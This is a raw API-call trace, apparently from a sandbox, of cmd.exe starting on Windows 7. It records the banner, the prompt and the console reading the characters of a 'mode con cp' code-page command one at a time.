	[0246.662] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0246.662] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0246.662] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0246.662] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0246.662] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0246.662] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0246.662] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0246.662] GetProcessHeap () returned 0x220000
	[0246.662] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x38) returned 0x2364d0
	[0246.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12f430 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0246.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x12f430, lpFilePart=0x12f410 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12f410*="system32") returned 0x13
	[0246.662] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0246.662] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x12f140 | out: lpFindFileData=0x12f140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x23b7e0
	[0246.663] FindClose (in: hFindFile=0x23b7e0 | out: hFindFile=0x23b7e0) returned 1
	[0246.663] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x12f140 | out: lpFindFileData=0x12f140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6dfcfe0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x6dfcfe0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x23b7e0
	[0246.663] FindClose (in: hFindFile=0x23b7e0 | out: hFindFile=0x23b7e0) returned 1
	[0246.663] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0246.663] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0246.663] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0246.663] GetProcessHeap () returned 0x220000
	[0246.663] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ad00 | out: hHeap=0x220000) returned 1
	[0246.663] GetEnvironmentStringsW () returned 0x23ad00*
	[0246.663] GetProcessHeap () returned 0x220000
	[0246.663] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xafc) returned 0x238aa0
	[0246.663] FreeEnvironmentStringsW (penv=0x23ad00) returned 1
	[0246.663] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4accc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0246.663] GetProcessHeap () returned 0x220000
	[0246.663] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2364d0 | out: hHeap=0x220000) returned 1
	[0246.663] GetProcessHeap () returned 0x220000
	[0246.663] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x4016) returned 0x23ad00
	[0246.663] GetProcessHeap () returned 0x220000
	[0246.663] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ad00 | out: hHeap=0x220000) returned 1
	[0246.663] GetConsoleOutputCP () returned 0x1b5
	[0246.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0246.664] GetUserDefaultLCID () returned 0x409
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acc7b50, cchData=8 | out: lpLCData=":") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12f540, cchData=128 | out: lpLCData="0") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12f540, cchData=128 | out: lpLCData="0") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12f540, cchData=128 | out: lpLCData="1") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acda740, cchData=8 | out: lpLCData="/") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acda4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acda460, cchData=32 | out: lpLCData="Tue") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acda420, cchData=32 | out: lpLCData="Wed") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acda3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acda3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acda360, cchData=32 | out: lpLCData="Sat") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acda700, cchData=32 | out: lpLCData="Sun") returned 4
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acc7b40, cchData=8 | out: lpLCData=".") returned 2
	[0246.664] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acda4e0, cchData=8 | out: lpLCData=",") returned 2
	[0246.664] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0246.665] GetProcessHeap () returned 0x220000
	[0246.665] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20c) returned 0x239620
	[0246.665] GetConsoleTitleW (in: lpConsoleTitle=0x239620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0246.666] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.666] GetFileType (hFile=0xf4) returned 0x3
	[0246.666] BrandingFormatString () returned 0x239840
	[0246.670] GetVersion () returned 0x1db10106
	[0246.670] _vsnwprintf (in: _Buffer=0x12f6b0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x12f648 | out: _Buffer="6.1.7601") returned 8
	[0246.670] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.670] GetFileType (hFile=0xf4) returned 0x3
	[0246.670] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4acd6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0246.853] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4acd6340, nSize=0x2000, Arguments=0x12f650 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37
	[0246.853] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x12f5d8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f5d8*=0x24, lpOverlapped=0x0) returned 1
	[0246.853] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f678 | out: _Buffer="\r\n") returned 2
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] GetFileType (hFile=0xf4) returned 0x3
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0246.853] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f648, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f648*=0x2, lpOverlapped=0x0) returned 1
	[0246.853] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x12f678 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.") returned 63
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] GetFileType (hFile=0xf4) returned 0x3
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", lpUsedDefaultChar=0x0) returned 64
	[0246.853] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x12f648, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f648*=0x3f, lpOverlapped=0x0) returned 1
	[0246.853] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f678 | out: _Buffer="\r\n") returned 2
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] GetFileType (hFile=0xf4) returned 0x3
	[0246.853] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0246.853] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f648, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f648*=0x2, lpOverlapped=0x0) returned 1
	[0246.854] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x776d0000
	[0246.854] GetProcAddress (hModule=0x776d0000, lpProcName="CopyFileExW") returned 0x776e23d0
	[0246.854] GetProcAddress (hModule=0x776d0000, lpProcName="IsDebuggerPresent") returned 0x776d8290
	[0246.854] GetProcAddress (hModule=0x776d0000, lpProcName="SetConsoleInputExeNameW") returned 0x776e17e0
	[0246.854] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0246.854] GetFileType (hFile=0xe8) returned 0x3
	[0246.854] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0246.854] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x12f4a0 | out: TokenHandle=0x12f4a0*=0x0) returned 0xc000007c
	[0246.854] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x12f4a0 | out: TokenHandle=0x12f4a0*=0x50) returned 0x0
	[0246.854] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x12f4b0, TokenInformationLength=0x4, ReturnLength=0x12f4b8 | out: TokenInformation=0x12f4b0, ReturnLength=0x12f4b8) returned 0x0
	[0247.077] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x12f4b8, TokenInformationLength=0x4, ReturnLength=0x12f4b0 | out: TokenInformation=0x12f4b8, ReturnLength=0x12f4b0) returned 0x0
	[0247.077] NtClose (Handle=0x50) returned 0x0
	[0247.077] GetProcessHeap () returned 0x220000
	[0247.077] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23aae0 | out: hHeap=0x220000) returned 1
	[0247.238] _vsnwprintf (in: _Buffer=0x4acd6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f1b8 | out: _Buffer="\r\n") returned 2
	[0247.238] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.238] GetFileType (hFile=0xf4) returned 0x3
	[0247.238] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0247.238] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f188, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f188*=0x2, lpOverlapped=0x0) returned 1
	[0247.238] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0247.238] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4accc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0247.238] _vsnwprintf (in: _Buffer=0x4acbeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f1c8 | out: _Buffer="C:\\Windows\\system32") returned 19
	[0247.238] _vsnwprintf (in: _Buffer=0x4acbeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f1c8 | out: _Buffer=">") returned 1
	[0247.238] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.238] GetFileType (hFile=0xf4) returned 0x3
	[0247.238] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0247.238] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f1b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f1b8*=0x14, lpOverlapped=0x0) returned 1
	[0247.238] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.238] GetFileType (hFile=0xe8) returned 0x3
	[0247.238] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.238] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.238] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce320, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce322, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce324, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce326, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0247.239] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.239] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.239] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce332, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce334, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce338, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce340, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
